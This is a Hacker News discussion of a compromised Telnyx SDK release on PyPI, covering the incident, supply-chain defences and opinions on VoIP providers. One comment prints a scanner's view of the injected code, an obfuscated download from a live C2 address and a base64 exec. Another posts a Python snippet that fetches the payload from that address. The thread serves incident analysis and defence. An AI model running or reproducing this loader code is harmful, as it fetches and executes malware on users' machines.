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Telnyx package compromised on PyPI
https://github.com/team-telnyx/telnyx-python/issues/235 https://github.com/team-telnyx/telnyx-python/issues/235
https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-canisterworm https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-...
- deleted 5mo ago[deleted]
- ramimac 6mo agoWe haven't blogged this yet, but a variety of teams found this in parallel. The packages are quarantined by PyPi Follow the overall incident: https://ramimac.me/teampcp/#phase-10 https://ramimac.me/teampcp/#phase-10 Aikido/Charlie with a very quick blog: https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-canisterworm https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-... ReversingLabs, JFrog also made parallel reports
- Imustaskforhelp 6mo agoRamimac, has there been any action on having the c2 server's ip address being blacklisted? The blast radius of TeamPCP just keeps on increasing...
- Scaevolus 6mo agoI'm glad there's many teams with automated scans of pypi and npm running. It elevates the challenge of making a backdoor that can survive for any length of time.
- riteshkew1001 6mo ago[flagged]
- TZubiri 6mo agoShoutouts to all the real engineers who use a generic http client to call APIs and weren't impacted by this.
- zar1048576 6mo ago[dead]
- carlsborg 6mo agoAnthropic/OpenAI could own this space. They should offer a paid service that offers a mirror with LLM scanned and sandbox-evaluated package with their next gen models. Free for individuals, orgs can subscribe to it.
- oblvious-earth 6mo agoOpenAI just acquired Astral who have an index service called pyx, so they would have a step up. My understanding though is most corporations that take security seriously either build everything themselves in a sandbox, or use something like JFrog's Artifactory with various security checks, and don't let users directly connect to public indexes. So I'm not sure what the market is.
- doc_ick 6mo agoThere’s also virustotal, any.run, probably a few others outside of GitHub/gitlab scans
- andrepd 6mo agoGenuinely cannot tell whether this is satire.
- firesteelrain 6mo agoOwn what space ?
- johndough 6mo agoJudging by curl shutting down its bug bounty program due to AI slop, a likely outcome would be that this mirror has no packages because they are all blocked by false positives.
- dmitrygr 6mo agoDetecting properly-written malicious code is undecidable. No amount of snake oil fixes that
- slowmovintarget 6mo agoTelnyx provides voice capabilities for OpenClaw for those wondering.
- indigodaddy 6mo agoThey should add voip.ms. it's better all around I think
- _JamesA_ 6mo agoVoip.ms is great for a simple SIP trunk but it has almost none of the programmable voice and other features of Telnyx or Twilio.
- indigodaddy 6mo agoah yeah, I'm about to setup a grandstream ht801 for a voip home phone so I probably dont need all that
- RulerOf 6mo agoA number of years ago I wanted to drop a webhook when a call came in on VoIP.ms but couldn't find any way to do it natively. Ended up sticking a twilio endpoint in the ring group with a "press 1 to accept this call" message so it wouldn't eat the call, then was able to fire an http request with the call details. It worked well, although I admit I was a little annoyed I couldn't do it directly with VoIP.ms.
- sunshine-o 6mo agoI had an horrible experience with VoIP.ms. Every time I wanted to call a number in Europe I had to contact their support and go through "can you try now and see if works?" several time. After 3 months I had enough of it and asked to have my provisioned credit reimbursed but they just refused.
- f311a 6mo agoThey did not even try to hide the payload that much. Every basic checker used by many security companies screams at `exec(base64.b64decode` when grepping code using simple regexes. hexora audit 4.87.1/2026-03-27-telnyx-v4.87.1.zip --min-confidence high --exclude HX4000 warning[HX9000]: Potential data exfiltration with Decoded data via urllib.request.request.Request. ┌─ 2026-03-27-telnyx-v4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:77 86:13 │ 7783 │ except: 7784 │ pass 7785 │ 7786 │ r = urllib.request.Request(_d('aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg=='), headers={_d('VXNlci1BZ2VudA=='): _d('TW96aWxsYS81LjA=')}) │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX9000 7787 │ with urllib.request.urlopen(r, timeout=15) as d: 7788 │ with open(t, "wb") as f: 7789 │ f.write(d.read()) │ = Confidence: High Help: Data exfiltration is the unauthorized transfer of data from a computer. warning[HX4010]: Execution of obfuscated code. ┌─ 2026-03-27-telnyx-v4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:78 10:9 │ 7807 │ if os.name == 'nt': 7808 │ return 7809 │ try: 7810 │ ╭ subprocess.Popen( 7811 │ │ [sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"], 7812 │ │ stdout=subprocess.DEVNULL, 7813 │ │ stderr=subprocess.DEVNULL, 7814 │ │ start_new_session=True 7815 │ │ ) │ ╰─────────^ HX4010 7816 │ except: 7817 │ pass 7818 │ │ = Confidence: VeryHigh Help: Obfuscated code exec can be used to bypass detection.
- dlcarrier 6mo agoAt this point, I'm not updating anything using Python. Not that I had the option anyway, because everything using Python breaks if you update it. You know they've given up on backward comparability and version control, when the solution is: run everything in a VM, with its own installation. Apparently it's also needed for security, but the VMs aren't really set up to be secure. I don't get why everything math heavy uses it. I blame MATLAB for being so awful that it made Python look good. It's not even the language itself, not that it doesn't have its own issues, or the inefficient way it's executed, but the ecosystem around it is so made out of technical debt.
- akx 6mo agoSounds like you're not familiar with https://docs.astral.sh/uv/ https://docs.astral.sh/uv/ ...
- duskdozer 6mo agoIt sounds to me like they are: `You know they've given up on backward comparability and version control, when the solution is: run everything in a VM, with its own installation.` uv taking over basically ensures that dependencies won't become managed properly and nothing will work without uv
- akx 6mo agoWhat do you mean with "basically ensures that dependencies won't become managed properly"?
- TZubiri 6mo agoAgree. I was working on an open source package, noticed something weird, and noticed the size of the uv.lock and got a bit scared. It's a pandemic, I will be hardening my security, and rotating my keys just in case.
- paulddraper 6mo agoPython is genuinely a pleasant syntax and experience. [1] It's the closest language to pseudocode that exists. Like every other language from 1991, it has rough edges. [1] https://xkcd.com/353/ https://xkcd.com/353/
- viscousviolin 6mo agoIs there a notification channel you can subscribe to / look at if you want to stay up to date on compromised PyPI packages?
- woodruffw 6mo agoYou can use the PYSEC[1] or OSV[2] databases. [1]: https://github.com/pypa/advisory-database/blob/main/vulns/telnyx/PYSEC-2026-3.yaml https://github.com/pypa/advisory-database/blob/main/vulns/te... [2]: https://osv.dev/vulnerability/MAL-2026-2254 https://osv.dev/vulnerability/MAL-2026-2254
- viscousviolin 6mo agoThank you!
- dmitrygr 6mo agoYes. news.ycomhinator.com
- jbrowning 6mo ago> The payload isn't delivered as a raw binary or a Python file. It's disguised as a .wav audio file. > The WAV file is a valid audio file. It passes MIME-type checks. But the audio frame data contains a base64-encoded payload. Decode the frames, take the first 8 bytes as the XOR key, XOR the rest, and you have your executable or Python script. Talk about burying the lede.
- consp 6mo agoI've seen it at least once in code from a big car manufacturer who encrypted their software or parts of it to avoid you reading the xml files. They use a key, split into two or more parts, hidden as the first bytes of some file or as plain text somewhere it would not be out of order, then recombine, run through an deobfuscation function to be an old fashioned DES or XOR key to decrypt the (usually XML, could have been a different key format it's been a while) files. It's not that uncommon. It's also security theater. Funny part is they didn't obfuscate the code to read the key.
- dist-epoch 6mo agoWith homomorphic encryption you can do this now in a secure way - unbreakable client side obfuscation.
- ac29 6mo agoI was really hoping the audio file was going to be AFSK or someting
- charcircuit 6mo ago2FA needs to be required for publishing packages. An attacker compromising someone's CI should not give them free reign to publish malicious packages at any time they want.
- woodruffw 6mo agoIn a lot of cases, it's not really clear whose second factor would authorize publishing a package that was uploaded from a CI/CD system. Is it any project owner? Anyone from the same GitHub organization? etc. > An attacker compromising someone's CI should not give them free reign to publish malicious packages at any time they want. Agreed, that's why a lot of packaging ecosystems (including PyPI) have moved towards schemes that involve self-scoping, self-expiring tokens. The CI can still publish, but the attacker can no longer exfiltrate the publishing credential and use it indefinitely later. (These schemes are not mandatory, because they can't be.)
- charcircuit 6mo agoThe 2FA of whatever account is publishing the package. I'm pretty sure Pypi already has this figured out except they seem to allow you to make an API key which just bypasses checking a 2nd factor.
- woodruffw 6mo agoWhich account is publishing the package, in a CI/CD context? It's not clear that any particular account is, since the set of people who can trigger a workflow in CI/CD aren't necessarily (and in fact aren't often) the same set of people who can create an API token on PyPI.
- charcircuit 6mo agoThe user that owns the API key or whoever it already associates what account is doing the publishing. It isn't a new problem.
- 6mo ago
- oncallthrow 6mo agoI think it's only a matter of time at this point before a devastating supply chain attack occurs. Supply-chain security is such a dumpster fire, and threat actors are realising that they can use LLMs to organize such attacks.
- dgellow 6mo agoNot sure what you mean by devastating, but supply chain attacks occur pretty much daily worldwide and LLMs have been used by attackers since multiple years at that point. Defending against supply chain threats is a pretty hard area to iterate and things are slow to change. For example pypi only supports trusted publishers since 2023 IIRC, and lots of large companies are still not consistently using that option
- ilaksh 6mo agoThe way I use Telynx is via SIP which is an open protocol. No reason we should be relying on proprietary APIs for this stuff. On GitHub see my fork runvnc/PySIP. Please let me know if you know if something better for python that is not copy left or rely on some copy left or big external dependency. I was using baresip but it was a pain to integrate and configure with python. Anyway, after fixing a lot in the original PySIP my version works with Telynx. Not tested on other SIP providers.
- rvz 6mo agoThat's not good. Time to raise the package security draw bridge on vibe coders.
- doug_durham 6mo agoIn what world does professional hackers intersect with vibe coding? This is a professional attack. Not some amateur script kiddie action.
- ivanvanderbyl 6mo agoHas anyone here used Telnyx? I tried to build a product against their API last year and 3 weeks after signing up they banned my account and made it impossible to get an answer as to why or re-enable it.
- TZubiri 6mo agoI like it so far. Did you call phone support at the time and ask about it? I find it's easy enough to get in a call with a human.
- ivanvanderbyl 6mo agoI did, they asked me to open a support ticket, which I did, and the last response I got was: > We've reviewed the details you provided and updated your case with the necessary information. It is now being routed to the appropriate team for further support. That was July 2025!
- Meetvelde 6mo agoI've had a pretty good experience using it to send SMS. Any chance you didn't get a 10DLC or toll free verification and tried to send too many messages?
- AnssiH 6mo agoI tried, but they used some 3rd party KYC platform whose country selection dropdown seemed to have every country except Finland (even Åland, a region of Finland, was there). Support wasn't helpful. Went with Twilio instead.
- sunshine-o 6mo agoI believe Telnyx and Twilio nuked every small or personal accounts at some point because they couldn't risk those being used for spam or scams. There might have been some real risks for them, IDK. But it is ironic that now Telnyx brand itself as an AI company but they couldn't detect that I am just calling some family once in a while and not involved in massive spam campaign. The only one who kept me around was voip.ms but it literally doesn't work. I am still looking for a decent VoIP provider to simply make calls.
- mil22 6mo agoFor those using uv, you can at least partially protect yourself against such attacks by adding this to your pyproject.toml: [tool.uv] exclude-newer = "7 days" or this to your ~/.config/uv/uv.toml: exclude-newer = "7 days" This will prevent uv picking up any package version released within the last 7 days, hopefully allowing enough time for the community to detect any malware and yank the package version before you install it.
- TZubiri 6mo agoNice feature. However uv is suspect at the moment, in the sense that it is designed as a pip replacement to overcome issues that only exist when supply chains are of a size that isn't safe to have. So any project that has UV and any developer that tries to get uv into a project is on average less safe than a project that just uses pip and a requirements.txt
- Imustaskforhelp 6mo agoI really am not able to follow this line of reasoning, I am not sure if what you said makes sense and how it relates to uv having a security feature to be on average less safe :/
- thewebguyd 6mo agoI believe they are saying that by the time you need something like uv, your project already has too many dependencies. Its the unnecessarily large supply chain that's the problem, and uv exists to solve a problem that you should try to avoid in the first place. I think uv is great, but I somewhat agree. We see this issue with node/npm. We need smaller supply chains/less dependencies overall, not just bandaiding over the poor decisions with better dependency management tooling.
- Imustaskforhelp 6mo agoAh this simplifies what they were saying. I agree with it that dependency management should be made easier. To be honest, I really like how golang's dependency and how golang's community works around dependencies and how golang has a really great stdlib to work with and how the community really likes to rely on very little depenendencies for the most part as well. Maybe second to that, Zig is interesting as although I see people using libraries, its on a much lower level compared to rust/node/python. Sadly, rust suffers from the same dependency issue like node/python.
- jlundberg 6mo agoWe have always been API first rather than SDK first. Never really thought too much about the security implications but that is of course a benefit too. Main reasoning for us has been to aim for a really nice HTTP API rather than hide uglyness with an SDK on top.
- midnightrun_ai 6mo ago[flagged]
- midnightrun_ai 6mo ago[flagged]
- deleted 6mo ago[deleted]
- masterjay 6mo ago[dead]
- LoganDark 6mo agoI used to use Telnyx many years ago, but was squeezed out when they started adding layer after layer of mandatory identity verification. Nope.
- indigodaddy 6mo agoHah, need to setup a Grandstream HT801 this weekend and this cements my decision to use voip.ms vs telnyx. Not that the device would use that library (have no idea), but just, yeah generally, it's a good cue to stay away for me.
- infinitewars 6mo agoIs this happening in part due to the sheer volume of pull-requests with AI generated code.. things are slipping through?
- dgellow 6mo agoThe telnyx SDKs aren’t AI generated code. The issue here was a pypi account compromise
- spocchio 6mo agoIs there anyone who uses it? I see their repo's Initial Commit was on Jan 2026... quite a new package! Also, the number of GitHub stars and forks is quite low. Does the package have a user base, or did the malicious team target one of the many useless GitHub repos?
- KomoD 6mo ago> I see their repo's Initial Commit was on Jan 2026... quite a new package! That's incorrect, the repo and package date back to 2019
- deathanatos 6mo ago> The Telnyx platform, APIs, and infrastructure were not compromised. This incident was limited to the PyPI distribution channel for the Python SDK. Am I being too nitpicky to say that that is part of your infrastructure? Doesn't 2FA stop this attack in its tracks? PyPI supports 2FA, no?
- rtpg 6mo agoYeah at this point I’d really like for pypi to insist on 2FA and email workflows for approving a release. Yeah it means you don’t get zero click releases. Maybe boto gets special treatment
- cpburns2009 6mo agoPyPI only supports 2FA for sign-in. 2FA is not a factor at all with publishing. To top it off, the PyPA's recommended solution, the half-assed trusted publishing, does nothing to prevent publishing compromised repos either.
- LtWorf 6mo agoNo. I was one of the "lucky" ones forced to use 2FA from the beginning. I also wrote the twine manpage (in debian) because at the time there was even no way of knowing how to publish at all. Basically you enable 2FA on your account, go on the website, generate a token, store it in a .txt file and use that for the rest of your life without having to use 2FA ever again. I had originally thought you'd need your 2FA every upload but that's not how it works. Then they have the trusted publisher thing (which doesn't and won't work with codeberg) where they just upload whatever comes from github's runners. Of course if the developer's token.txt got compromised, there's a chance also his private ssh key to push on github got compromised and the attackers can push something that will end up on pypi anyway. Remember that trusted publishing replaces GPG signatures, so the one thing that required unlocking the private key with a passphrase is no longer used. python.org has also stopped signing their releases with GPG in favour to sigstore, which is another 3rd party signing scheme somewhat similar to trusted publisher. edit: They deny this but my suspicion is that eventually tokens won't be supported and trusted publishing will be the only way to publish on pypi, locking projects out of using codeberg and whatever other non-major forge they might wish to use.
- kelvinjps10 6mo agoI received an email from them about the vulnerability but I don't remember ever using them
- 6thbit 6mo agoSo both this and litellm went straight to PyPI without going to GitHub first. Is there any way to setup PyPI to only publish packages that come from a certain pattern of tag that exists in GH? Would such a measure help at all here?
- aniceperson 6mo agoDon't have the token on your hands. Use OICD ideally, or make sure to setup carefully as a repository secret. Ensure the workflow runs in a well permission read, minimal dependency environment. The issue with OICD is that it does not work with nested workflows because github does not propagate the claims.
- sh-cho 6mo ago*OIDC
- woodruffw 6mo agoYes: if you use a Trusted Publisher with PyPI, you can constrain it to an environment. Then, on GitHub, you can configure that environment with a tag or branch protection rule that only allows the environment to be activated if the ref matches. You can also configure required approvers on the environment, to prevent anyone except your account (and potentially other maintainers you’d like) from activating the environment.
- anthk 6mo agoThe Guix PM in this context can create an isolated environment and import PyPI packages for you adapted into Guix Scheme manifest files. Not just Python, Perl, Ruby, Node... if you have to use dangerous our propietary environments for the enterprise, (not for personal computing), at least isolate them so the malware doesn't spread over.
- zahlman 6mo ago> If the version shown is 4.87.1 or 4.87.2, treat the environment as compromised. More generally speaking one would have to treat the computer/container/VM as compromised. User-level malware still sucks. We've seen just the other day that Python code can run at startup time with .pth files (and probably many other ways). With a source distribution, it can run at install time, too (see e.g. https://zahlman.github.io/posts/python-packaging-3/ https://zahlman.github.io/posts/python-packaging-3/). > What to Do If Affected > Downgrade immediately: > pip install telnyx==4.87.0 Even if only the "environment" were compromised, that includes pip in the standard workflow. You can use an external copy of pip instead, via the `--python` option (and also avoid duplicating pip in each venv, wasting 10-15MB each time, by passing `--without-pip` at creation). I touch on both of these in https://zahlman.github.io/posts/python-packaging-2/ https://zahlman.github.io/posts/python-packaging-2/ (specifically, showing how to do it with Pipx's vendored copy of pip). Note that `--python` is a hack that re-launches pip using the target environment; pip won't try to import things from that environment, but you'd still be exposed to .pth file risks.
- dist-epoch 6mo agoNice thing about VMs is that it's easy to have a daily snapshot, and roll it back to before compromise event.
- _ache_ 6mo agoHow can we get the wav ? `curl -A "Mozilla/5.0" "http://<C2C_EndPoint>/hangup.wav"` does hang. No ... I tried hard. But still get a timeout. import urllib.request import base64 def _d(x): return base64.b64decode(x).decode("utf-8") C2C_URL = _d("aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg==") # C2C_URL = "http://XXXXX:8080/ringtone.wav" r = urllib.request.Request( C2C_URL, headers={_d("VXNlci1BZ2VudA=="): _d("TW96aWxsYS81LjA=")} ) with urllib.request.urlopen(r, timeout=15) as d: with open("/tmp/exatracted_tpcp.wav", "wb") as f: f.write(d.read())
- devnotes77 6mo ago[dead]
- iam_circuit 6mo ago[dead]
- cozzyd 6mo agoWonder if publishing keys were compromised in one of the previous PyPI incidents...
- jeremie_strand 6mo ago[flagged]
- jeremie_strand 6mo ago[flagged]
- midnightrun_ai 6mo ago[flagged]
- jeremie_strand 6mo ago[flagged]
- raphinou 6mo agoI'm working on a multi signature system for file authentication that can detect unauthorized file publications. It is self-funded, open source, auditable, self hostable, accountless. I'm looking for testers and feedback, don't hesitate to contact me if interested. More info at https://asfaload.com/ https://asfaload.com/